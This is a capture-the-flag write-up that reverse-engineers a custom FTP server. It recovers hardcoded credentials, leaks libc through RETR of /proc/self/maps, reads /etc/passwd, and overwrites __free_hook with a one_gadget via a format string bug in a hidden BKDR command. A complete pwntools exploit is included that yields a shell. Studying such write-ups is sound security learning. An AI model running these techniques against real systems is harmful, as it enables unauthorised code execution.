# Insider## Reverse Engineering
We'll start by running `file` to get an idea of the executable's architecture and platform. Note that it is a 64-bit linux executable.
```$ file ./chall./chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8bdf868a7d36a356638d98d3299887ae81995e2e, stripped```
Running pwntools' `checksec` tool reveals that there is no stack canary in place - so if we found a buffer overflow present in the binary it'd be trivial to exploit. All other protections are in place so we'll likely need to leak a libc address in order to progress further.
```$ checksec ./chall[*] './chall'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled    RUNPATH:  b'./'```
When we run the binary, it appears to be a custom implementation of an FTP server. Inputting common commands tells us that we need to find a way to either provide valid credentials, or bypass the login functionality.```$ ./chall220 Blablah FTPUSER asdf530 Cannot find user name. Do you belong here. PASS asdf530 Need login. Login first. RETR asdf530 Need login. Login first. ```
Viewing the disassembly we can find the control-flow logic for the 'USER' command. Interestingly, it provides two possible paths to sign in. In the first path it calls some function on the input username in order to validate the login. In the second path it calls `getspnam` to check for a valid username.
Taking a look at that first mysterious function shows that it's just a wrapper for `strcmp`. Let's spin up GDB and find out what it's comparing our input to. We can just place a breakpoint just before the `strcmp` call.```$ gdb ./chall...pwndbg> b *(0x555555554000 + 0x00002a3f)Breakpoint 2 at 0x555555556a3fpwndbg> rStarting program: ./chall 220 Blablah FTP USER AAAA
Breakpoint 2, 0x0000555555556a3f in ?? ()... ► 0x555555556a3f    call   strcmp@plt                <strcmp@plt>        s1: 0x55555555a225 ◂— 0x41414141 /* 'AAAA' */        s2: 0x5555555580a0 ◂— 0x6c4220642500293b /* ';)' */```
It's plain to see that the program considers the input `;)` to be a valid username for authentication purposes. Giving this as input confirms this theory.```$ ./chall220 Blablah FTPUSER ;)331 User name okay need password```
Repeating the above steps for the 'PASS' command gives us the same result. So we now have valid credentials for the target application.
``` ► 0x555555556a3f    call   strcmp@plt                <strcmp@plt>        s1: 0x55555555a225 ◂— 'PASSWORD'        s2: 0x5555555580a0 ◂— 0x6c4220642500293b /* ';)' */```
```$./challUSER ;)331 User name okay need password PASS ;)230 User logged in proceed ```
Finally, we want to see what commands are available to us. Looking at the strings in our disassembler gives us this information.```   0x4008 USER   0x400d PASS   0x4012 RETR   0x4017 STOR   0x401c STOU   0x4021 APPE   0x4026 REST   0x402b RNFR   0x4030 RNTO   0x4035 ABOR   0x403a DELE   0x404f CDUP   0x4054 LIST   0x4059 NLST   0x405e SITE   0x4063 STAT   0x4068 HELP   0x406d NOOP   0x4072 TYPE   0x4077 PASV   0x407c PORT   0x4081 SYST   0x4086 QUIT   0x408b MDTM   0x4090 SIZE```
## Finding the Vulnerability
First thing I attempted was to actually just read the contents of `flag.txt` via the 'RETR' command. Sadly our user did not have permission to read the file. Though we do have a file read - maybe we can utilise that for something interesting (more on this later). ```$ ./chall 220 Blablah FTP USER ;)331 User name okay need password PASS ;)230 User logged in proceed RETR /flag.txt500 FTP error: access denyed. Check PermissionRETR /etc/passwd<censored>226 Transfer completed```
After a little more exploration, finding the actual vulnerability present in the executable was remarkably easy. Just by providing various inputs (long strings, format strings, etc) to the different commands - I found a format string vulnerability in the 'BKDR' command.```$ ./chall220 Blablah FTP USER ;) 331 User name okay need password PASS ;)230 User logged in proceed BKDR %p %p %p431136 BKDR 0x3 0xa0d (nil)```
Great, now we have an arbitrary write via the format string vulnerability we found. We only need two more things in order to build an exploit: * A libc address leak (to get symbol locations). * Something to overwrite (that'll give us code execution).
We could use this format string we found to leak an address in lib, but that would be boring. Instead, we can use the 'RETR' command to leak the entirety of the process map! That's definitely a fun way to leak process addresses. ```$ ./chall220 Blablah FTP USER ;) 331 User name okay need password PASS ;)230 User logged in proceed RETR /proc/self/maps5561bab83000-5561bab85000 r--p 00000000 fd:00 14944798                   ./chall5561bab85000-5561bab87000 r-xp 00002000 fd:00 14944798                   ./chall5561bab87000-5561bab88000 r--p 00004000 fd:00 14944798                   ./chall5561bab88000-5561bab89000 r--p 00004000 fd:00 14944798                   ./chall5561bab89000-5561bab8a000 rw-p 00005000 fd:00 14944798                   ./chall5561bab8a000-5561bab8b000 rw-p 00000000 00:00 0 5561bab8b000-5561bab8e000 rw-p 00006000 fd:00 14944798                   ./chall5561bcaa9000-5561bcaca000 rw-p 00000000 00:00 0                          [heap]7f9b53c03000-7f9b53c05000 rw-p 00000000 00:00 0 7f9b53c05000-7f9b53c2b000 r--p 00000000 fd:00 14944691                   ./libc.so.67f9b53c2b000-7f9b53d96000 r-xp 00026000 fd:00 14944691                   ./libc.so.67f9b53d96000-7f9b53de2000 r--p 00191000 fd:00 14944691                   ./libc.so.67f9b53de2000-7f9b53de5000 r--p 001dc000 fd:00 14944691                   ./libc.so.67f9b53de5000-7f9b53de8000 rw-p 001df000 fd:00 14944691                   ./libc.so.67f9b53de8000-7f9b53df3000 rw-p 00000000 00:00 0 7f9b53df3000-7f9b53df4000 r--p 00000000 fd:00 14944690                   ./ld-linux-x86-64.so.27f9b53df4000-7f9b53e1c000 r-xp 00001000 fd:00 14944690                   ./ld-linux-x86-64.so.27f9b53e1c000-7f9b53e26000 r--p 00029000 fd:00 14944690                   ./ld-linux-x86-64.so.27f9b53e26000-7f9b53e28000 r--p 00032000 fd:00 14944690                   ./ld-linux-x86-64.so.27f9b53e28000-7f9b53e2a000 rw-p 00034000 fd:00 14944690                   ./ld-linux-x86-64.so.27ffcda8c6000-7ffcda8e7000 rw-p 00000000 00:00 0                          [stack]7ffcda994000-7ffcda997000 r--p 00000000 00:00 0                          [vvar]7ffcda997000-7ffcda998000 r-xp 00000000 00:00 0                          [vdso]ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]226 Transfer completed ```
## Information Gathering
Now that we've found everything we need, we can do a little more information gathering to get the last thing we need for our exploit - the offset within the format string to the input we control on the stack (needed for our arbitrary write). Let's write a quick script to do just that.
```py#!/usr/bin/env python3
from pwn import *
r = process('./chall')
# sign in with valid credentialsr.writelineafter('220 Blablah FTP', b'user ;)')r.writelineafter('331 User name okay need password', b'pass ;)')
for i in range(2000):    r.writeline(f'bkdr AAAAAAAA %{i}$p')    r.readuntil('bkdr AAAAAAAA')    out = r.readline()    if b'4141' in out:        print(i, out)
r.close()```
Running our script, we find that the address we control is located at an offset of 1031.```[+] Starting local process './chall': pid 470921031 b' 0x4141414141414141 \r\n[*] Stopped process './chall' (pid 47092)```
## Exploit Development
Now that we have everything we need, we can begin to write our exploit. There's a few things that we need to achieve, here's a list: - Sign into the program using the credentials we found. - Leak a libc address via the arbitrary file read. - Overwrite some address in order to achieve code execution.
Below are the code snippets for both signing in with the credentials we found, and for leaking a libc address. 
```py# sign in with valid credentialsr.writelineafter('220 Blablah FTP', b'user ;)')r.writelineafter('331 User name okay need password', b'pass ;)')```
```py# leak addressesr.writelineafter('230 User logged in proceed', b'RETR /proc/self/maps')leak = r.readuntil('226 Transfer completed')libc_base = int(leak.decode('latin').split('\n')[10].split('-')[0], 16)log.info(f'libc_base = {hex(libc_base)}')
# set up libc elflibc = ELF('./libc.so.6')libc.address = libc_base```
So, one more question remains - how do we utilise our arbitrary write primitive in order to achieve code execution? Well, at the end of the programs input routine a call to `free` is made. If we write an address to `__free_hook` within libc we will be able to redirect program execution.
The simplest way to get a shell from this is to use a 'magic' gadget.```$ one_gadget libc.so.6 0xde78c execve("/bin/sh", r15, r12)constraints:  [r15] == NULL || r15 == NULL  [r12] == NULL || r12 == NULL
0xde78f execve("/bin/sh", r15, rdx)constraints:  [r15] == NULL || r15 == NULL  [rdx] == NULL || rdx == NULL
0xde792 execve("/bin/sh", rsi, rdx)constraints:  [rsi] == NULL || rsi == NULL  [rdx] == NULL || rdx == NULL```
The code snippet below overwrites `__free_hook` with our 'magic' gadget, giving us a shell when the call to `free` is made.```py# arbitrary write'''0xde78f execve("/bin/sh", r15, rdx)constraints:      [r15] == NULL || r15 == NULL      [rdx] == NULL || rdx == NULL'''writes = {    libc.sym.__free_hook: libc.address + 0xde78f}
# perform format string attackpayload = fmtstr_payload(1031, writes, numbwritten=12)r.writeline(b'bkdr ' + payload)``` 
Putting all these pieces together we get the following exploit.```py#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
r = process('./chall')
# sign in with valid credentialsr.writelineafter('220 Blablah FTP', b'user ;)')r.writelineafter('331 User name okay need password', b'pass ;)')
# leak addressesr.writelineafter('230 User logged in proceed', b'RETR /proc/self/maps')leak = r.readuntil('226 Transfer completed')libc_base = int(leak.decode('latin').split('\n')[10].split('-')[0], 16)log.info(f'libc_base = {hex(libc_base)}')
# set up libc elflibc = ELF('./libc.so.6')libc.address = libc_base
# arbitrary write'''0xde78f execve("/bin/sh", r15, rdx)constraints:      [r15] == NULL || r15 == NULL      [rdx] == NULL || rdx == NULL'''writes = {    libc.sym.__free_hook: libc.address + 0xde78f}
# perform format string attackpayload = fmtstr_payload(1031, writes, numbwritten=12)r.writeline(b'bkdr ' + payload)
r.clean()r.interactive()```
And finally, here's our exploit in action. It gives us an interactive shell that we can use to read the flag. In the actual challenge `/flag.txt` was not readable (as we discovered when we attempted to read it earlier). However, an SUID binary `get_flag` was present on the container, which read the flag for us.```$ ./solve.py[*] libc_base = 0x7ff0d87a1000[*] './libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Switching to interactive mode$ lschall  flag.txt  get_flag  ld-linux-x86-64.so.2  libc.so.6  solve.py```